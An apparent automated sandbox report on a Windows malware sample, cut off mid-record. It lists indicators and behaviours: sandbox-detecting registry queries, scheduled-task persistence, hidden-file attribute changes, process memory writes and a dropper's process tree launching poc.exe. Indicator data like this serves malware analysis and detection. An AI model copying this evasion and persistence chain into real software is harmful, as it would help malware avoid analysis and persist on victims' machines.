Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\	rsetup64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	rsetup64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\UpperFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom	rsetup64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	rsetup64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs	rsetup64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	rsetup64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\	rsetup64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\LowerFilters	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	rsetup64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	rsetup64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Filters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom	rsetup64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\	rsetup64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A	rsetup64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	rsetup64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\CompatibleIDs	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Service	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	rsetup64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Phantom	DrvInst.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	DrvInst.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	rsetup64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	rsetup64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	rsetup64.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
380	ipconfig.exe

Modifies data under HKEY_USERS 61 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133875633469246229"	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-446031748-3036493239-2009529691-1000\{185623FC-5CFF-45C0-9A2C-DE75E91228FB}	msedge.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

pid	Process
3352	reg.exe
5284	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery

T1018

pid	Process
5724	PING.EXE
4608	PING.EXE
5572	PING.EXE
3408	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1580	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4796	msiexec.exe
4796	msiexec.exe
5940	msedge.exe
5940	msedge.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
652	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe
4084	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5428	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5428	msiexec.exe
Token: SeSecurityPrivilege	4796	msiexec.exe
Token: SeCreateTokenPrivilege	5428	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5428	msiexec.exe
Token: SeLockMemoryPrivilege	5428	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5428	msiexec.exe
Token: SeMachineAccountPrivilege	5428	msiexec.exe
Token: SeTcbPrivilege	5428	msiexec.exe
Token: SeSecurityPrivilege	5428	msiexec.exe
Token: SeTakeOwnershipPrivilege	5428	msiexec.exe
Token: SeLoadDriverPrivilege	5428	msiexec.exe
Token: SeSystemProfilePrivilege	5428	msiexec.exe
Token: SeSystemtimePrivilege	5428	msiexec.exe
Token: SeProfSingleProcessPrivilege	5428	msiexec.exe
Token: SeIncBasePriorityPrivilege	5428	msiexec.exe
Token: SeCreatePagefilePrivilege	5428	msiexec.exe
Token: SeCreatePermanentPrivilege	5428	msiexec.exe
Token: SeBackupPrivilege	5428	msiexec.exe
Token: SeRestorePrivilege	5428	msiexec.exe
Token: SeShutdownPrivilege	5428	msiexec.exe
Token: SeDebugPrivilege	5428	msiexec.exe
Token: SeAuditPrivilege	5428	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5428	msiexec.exe
Token: SeChangeNotifyPrivilege	5428	msiexec.exe
Token: SeRemoteShutdownPrivilege	5428	msiexec.exe
Token: SeUndockPrivilege	5428	msiexec.exe
Token: SeSyncAgentPrivilege	5428	msiexec.exe
Token: SeEnableDelegationPrivilege	5428	msiexec.exe
Token: SeManageVolumePrivilege	5428	msiexec.exe
Token: SeImpersonatePrivilege	5428	msiexec.exe
Token: SeCreateGlobalPrivilege	5428	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe
Token: SeRestorePrivilege	4796	msiexec.exe
Token: SeTakeOwnershipPrivilege	4796	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4084	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4996	poc.exe
4060	cam_server.exe
3344	ip.exe
5180	cam_server.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 764 wrote to memory of 5748	764	JaffaCakes118_89dbe243829a1f6c79190897e3c8fbae.exe	89
PID 764 wrote to memory of 5748	764	JaffaCakes118_89dbe243829a1f6c79190897e3c8fbae.exe	89
PID 764 wrote to memory of 5748	764	JaffaCakes118_89dbe243829a1f6c79190897e3c8fbae.exe	89
PID 5748 wrote to memory of 1488	5748	inst.exe	90
PID 5748 wrote to memory of 1488	5748	inst.exe	90
PID 5748 wrote to memory of 1488	5748	inst.exe	90
PID 1488 wrote to memory of 4608	1488	cmd.exe	93
PID 1488 wrote to memory of 4608	1488	cmd.exe	93
PID 1488 wrote to memory of 4608	1488	cmd.exe	93
PID 1488 wrote to memory of 4996	1488	cmd.exe	98
PID 1488 wrote to memory of 4996	1488	cmd.exe	98
PID 1488 wrote to memory of 4996	1488	cmd.exe	98
PID 1488 wrote to memory of 5572	1488	cmd.exe	99
PID 1488 wrote to memory of 5572	1488	cmd.exe	99
PID 1488 wrote to memory of 5572	1488	cmd.exe	99
PID 4996 wrote to memory of 5020	4996	poc.exe	100
PID 4996 wrote to memory of 5020	4996	poc.exe	100
PID 4996 wrote to memory of 5020	4996	poc.exe	100
PID 4996 wrote to memory of 5020	4996	poc.exe	100
PID 4996 wrote to memory of 5020	4996	poc.exe	100
PID 4996 wrote to memory of 5020	4996	poc.exe	100
PID 4996 wrote to memory of 5020	4996	poc.exe	100
PID 4996 wrote to memory of 5020	4996	poc.exe	100
PID 1488 wrote to memory of 3352	1488	cmd.exe	102
PID 1488 wrote to memory of 3352	1488	cmd.exe	102
PID 1488 wrote to memory of 3352	1488	cmd.exe	102
PID 1488 wrote to memory of 6108	1488	cmd.exe	103
PID 1488 wrote to memory of 6108	1488	cmd.exe	103
PID 1488 wrote to memory of 6108	1488	cmd.exe	103
PID 5020 wrote to memory of 4084	5020	poc.exe	104
PID 5020 wrote to memory of 4084	5020	poc.exe	104
PID 1488 wrote to memory of 5284	1488	cmd.exe	105
PID 1488 wrote to memory of 5284	1488	cmd.exe	105
PID 1488 wrote to memory of 5284	1488	cmd.exe	105
PID 1488 wrote to memory of 4252	1488	cmd.exe	108
PID 1488 wrote to memory of 4252	1488	cmd.exe	108
PID 1488 wrote to memory of 4252	1488	cmd.exe	108
PID 4084 wrote to memory of 5852	4084	msedge.exe	109
PID 4084 wrote to memory of 5852	4084	msedge.exe	109
PID 1488 wrote to memory of 1668	1488	cmd.exe	110
PID 1488 wrote to memory of 1668	1488	cmd.exe	110
PID 1488 wrote to memory of 1668	1488	cmd.exe	110
PID 5248 wrote to memory of 4060	5248	cmd.exe	111
PID 5248 wrote to memory of 4060	5248	cmd.exe	111
PID 5248 wrote to memory of 4060	5248	cmd.exe	111
PID 1488 wrote to memory of 4128	1488	cmd.exe	113
PID 1488 wrote to memory of 4128	1488	cmd.exe	113
PID 1488 wrote to memory of 4128	1488	cmd.exe	113
PID 4084 wrote to memory of 2352	4084	msedge.exe	114
PID 4084 wrote to memory of 2352	4084	msedge.exe	114
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115
PID 4084 wrote to memory of 2376	4084	msedge.exe	115

Views/modifies file attributes 1 TTPs 3 IoCs

Hidden Files and Directories

T1564.001

pid	Process
4252	attrib.exe
1668	attrib.exe
5940	attrib.exe

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_89dbe243829a1f6c79190897e3c8fbae.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_89dbe243829a1f6c79190897e3c8fbae.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:764
- C:\Users\Admin\AppData\Local\Temp\inst.exe
  "C:\Users\Admin\AppData\Local\Temp\inst.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5748
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5B8D.tmp\inst.cmd" "
    3⤵
    - Checks computer location settings
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1488
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 5 127.0.0.1
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4608
  - - C:\Users\Admin\AppData\Local\Temp\poc.exe
      C:\Users\Admin\AppData\Local\Temp\poc.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4996
    - - C:\Users\Admin\AppData\Local\Temp\poc.exe
        
